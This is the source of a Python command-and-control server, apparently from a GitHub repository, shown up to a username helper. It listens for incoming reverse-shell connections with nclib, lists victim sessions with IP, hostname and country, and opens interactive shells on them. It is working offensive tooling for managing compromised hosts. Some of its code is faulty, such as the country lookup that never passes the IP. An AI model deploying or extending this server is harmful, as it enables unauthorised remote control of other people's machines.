-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathC2C_Server.py
More file actions
182 lines (152 loc) · 5.3 KB
/
C2C_Server.py
File metadata and controls
182 lines (152 loc) · 5.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#!/usr/bin/python3
#-*- coding:utf-8 -*-
import sys
import socket
import threading
import time
import os
import platform
import json
import logging
import readline
import subprocess
import shlex
from getpass import getuser
try:
from tabulate import tabulate
except ImportError:
print("[!] Error Tabulate Not Found !")
sys.exit(1)
try:
from datetime import datetime
except ImportError:
print("[!] Error Datetime Not Found !")
sys.exit(1)
try:
import nclib
except ImportError:
print("[!] Error Nclib Not Found !")
sys.exit(1)
try:
import requests
except ImportError:
print("[!] Error Requests Not Found !")
sys.exit(1)
global id_vector
global socket_fd_vector
global nc
id_vector = []
connection = []
socket_fd_list = []
hostname_ls = []
class SimpleCompleter(object):
def __init__(self, options):
self.options = sorted(options)
return
def complete(self, text, state):
response = None
if state == 0:
if text:
self.matches = [s
for s in self.options
if s and s.startswith(text)]
logging.debug('%s matches: %s', repr(text), self.matches)
else:
self.matches = self.options[:]
logging.debug('(empty input) matches: %s', self.matches)
try:
response = self.matches[state]
except IndexError:
response = None
logging.debug('complete(%s, %s) => %s',repr(text), state, repr(response))
return response
class C2C_Server:
def __init__(self):
pl = self.check_platform()
if pl == 0:
print("[!] Error : GNU/Linux Required !")
sys.exit(1)
def check_platform(self):
if 'Linux' not in platform.platform():
return 0
else:
return 1
def clear(self):
os.system("clear")
def thread_listen_new_connection(self,host,port):
try:
p = int(port)
t = threading.Thread(target=self.listen_connection,args=(host,p))
t.start()
except Exception as error_thread:
return error_thread
def listen_connection(self,host,port):
i = 0
print("\033[38;5;85m[\033[34m+\033[38;5;85m] Monitoring on \033[38;5;196m%s\033[38;5;85m:\033[38;5;196m%s\033[00m" % (host,port))
while True:
try:
nc = nclib.Netcat(listen=(host,port))
id_vector.append(nc)
connection.append(nc.peer)
print("\033[38;5;85m[\033[34m+\033[38;5;85m] New Connection from \033[38;5;196m%s:%s\033[00m" % (nc.peer[0],nc.peer[1]))
i = i+1
except Exception as error_listen:
return error_listen.message
def execute_local_command(self,command):
try:
cmd = subprocess.Popen(command,shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out_stdout_stderr = cmd.stdout.read() + cmd.stderr.read()
return out_stdout_stderr
except Exception as error_execute_command:
return error_execute_command
def show_help(self):
try:
print("\t\tHelp Commands")
h = [["Commands","Descriptions","Usage"],["help","Show This","help or ?"],["exit","Exit C2C Server","exit"],["quit","Exit","quit"],["!","Execute Local Command","!<command>"],["clear","Clear Console","clear or cls"],["banner",'Show Banner','banner'],["shell","interact with id session","shell <id>"],["listen","listen port","listen <ip> <port>"],["sessions","show sessions","sessions"]]
print(tabulate(h,tablefmt="fancy_grid"))
except:
print("[!] Error Show Help !")
def interact_session(self,s):
try:
s.send('\n'.encode("utf-8"))
s.interact()
except KeyboardInterrupt:
print("[*] Error : Failed Interact Session !")
def list_connection(self):
i = 0
entry_table = []
headers = ["ID","Target IP","Target Port","Hostname","Country"]
for id_c in id_vector:
for con in connection:
hostname = self.get_hostname(con[0])
info = self.get_country(con[0])
#print("\033[38;5;85m[\033[34m%d\033[38;5;85m] Target : %s | Port : %s\033[00m" % (i,con[0],con[1]))
entry_table.append([i,con[0],con[1],hostname,info[0]])
i = i + 1
print(tabulate(entry_table,headers=headers,tablefmt="fancy_grid"))
def get_hostname(self,ip_or_domain):
try:
s = socket.gethostbyaddr(ip_or_domain)[0]
return s
except:
return "Unknown"
def get_country(self,ip):
tab = []
try:
r = requests.get("https://ipinfo.io/%s/geo")
content = r.text
obj = json.loads(content)
country = obj["country"]
tab.append(country)
return tab
except:
rr = requests.get("https://ipinfo.io/geo")
obj = json.loads(rr.text)
tab.append(obj["country"])
return tab
def get_username(self):
try:
username = getuser()
return username
except:
return "Unknown"